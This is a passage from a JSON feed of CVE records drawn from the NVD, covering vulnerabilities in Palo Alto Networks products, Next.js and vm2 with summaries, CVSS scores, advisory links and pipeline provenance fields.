use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0247","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0247","type":"primary","publishedAt":"2026-05-13T19:16:58.780Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0247","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0246","cveId":"CVE-2026-0246","aliases":[],"kind":"vulnerability","title":"A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their...","summary":"A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their privileges to root on macOS and Linux or NT AUTHORITY\\SYSTEM on Windows. This allows the user to execute arbitrary code and read sensitive information otherwise accessible only to privileged accounts.\n\n\n\nThe Prisma Access Agent on iOS, Android and Chrome OS are not affected.","detail":"A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their privileges to root on macOS and Linux or NT AUTHORITY\\SYSTEM on Windows. This allows the user to execute arbitrary code and read sensitive information otherwise accessible only to privileged accounts.\n\n\n\nThe Prisma Access Agent on iOS, Android and Chrome OS are not affected.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:58.603Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"prisma access agent","stacks":["Palo Alto Networks","prisma access agent"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0246","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0246","type":"primary","publishedAt":"2026-05-13T19:16:58.603Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0246","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0244","cveId":"CVE-2026-0244","aliases":[],"kind":"vulnerability","title":"An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.","summary":"An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.","detail":"An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:58.297Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"prisma sd-wan","stacks":["Palo Alto Networks","prisma sd-wan"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.2,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0244","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0244","type":"primary","publishedAt":"2026-05-13T19:16:58.297Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0244","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0241","cveId":"CVE-2026-0241","aliases":[],"kind":"vulnerability","title":"Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.","summary":"Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.","detail":"Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:57.973Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"trust protection foundation","stacks":["Paloaltonetworks","trust protection foundation"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0241","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0241","type":"primary","publishedAt":"2026-05-13T19:16:57.973Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0241","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0240","cveId":"CVE-2026-0240","aliases":[],"kind":"vulnerability","title":"An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault.","summary":"An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault. Successful exploitation of this issue allows the attacker to impersonate any user within the environment and arbitrarily modify configuration settings.","detail":"An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault. Successful exploitation of this issue allows the attacker to impersonate any user within the environment and arbitrarily modify configuration settings.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:57.767Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"trust protection foundation","stacks":["Paloaltonetworks","trust protection foundation"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.5,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0240","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0240","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0240","type":"primary","publishedAt":"2026-05-13T19:16:57.767Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0240","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0236","cveId":"CVE-2026-0236","aliases":[],"kind":"vulnerability","title":"A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated...","summary":"A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated non-admin user to leverage this exposed Apple Event handler to send unauthorized commands to the browser.","detail":"A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated non-admin user to leverage this exposed Apple Event handler to send unauthorized commands to the browser.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:57.183Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"prisma browser","stacks":["Apple macOS","Palo Alto Networks","prisma browser"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0236","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0236","type":"primary","publishedAt":"2026-05-13T19:16:57.183Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0236","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45109","cveId":"CVE-2026-45109","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6.","detail":"Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:19.283Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45109","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45109","type":"primary","publishedAt":"2026-05-13T18:16:19.283Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-26hh-7cqf-hhc6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44579","cveId":"CVE-2026-44579","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From  to before 15.5.16 and 16.2.5, applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service. This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From  to before 15.5.16 and 16.2.5, applications using Partial Prerendering through the Cache Components feature can be vulnerable to connection exhaustion through crafted POST requests to a server action. In affected configurations, a malicious request can trigger a request-body handling deadlock that leaves connections open for an extended period, consuming file descriptors and server capacity until legitimate users are denied service. This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:18.123Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44579","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44579","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44579","type":"primary","publishedAt":"2026-05-13T18:16:18.123Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-mg66-mrh9-m8jx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44578","cveId":"CVE-2026-44578","aliases":[],"kind":"vulnerability","title":"Next.js is a React framework for building full-stack web applications.","summary":"Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected. This vulnerability is fixed in 15.5.16 and 16.2.5.","detail":"Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected. This vulnerability is fixed in 15.5.16 and 16.2.5.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.990Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"vercel","product":"next.js","stacks":["Next.js","next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44578","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44578","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44578","type":"primary","publishedAt":"2026-05-13T18:16:17.990Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44004","cveId":"CVE-2026-44004","aliases":[],"kind":"vulnerability","title":"vm2 is an open source vm/sandbox for Node.js.","summary":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.","detail":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T18:16:17.123Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"vm2 project","product":"vm2","stacks":["Node.js","vm2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44004","type":"primary","publishedAt":"2026-05-13T18:16:17.123Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication 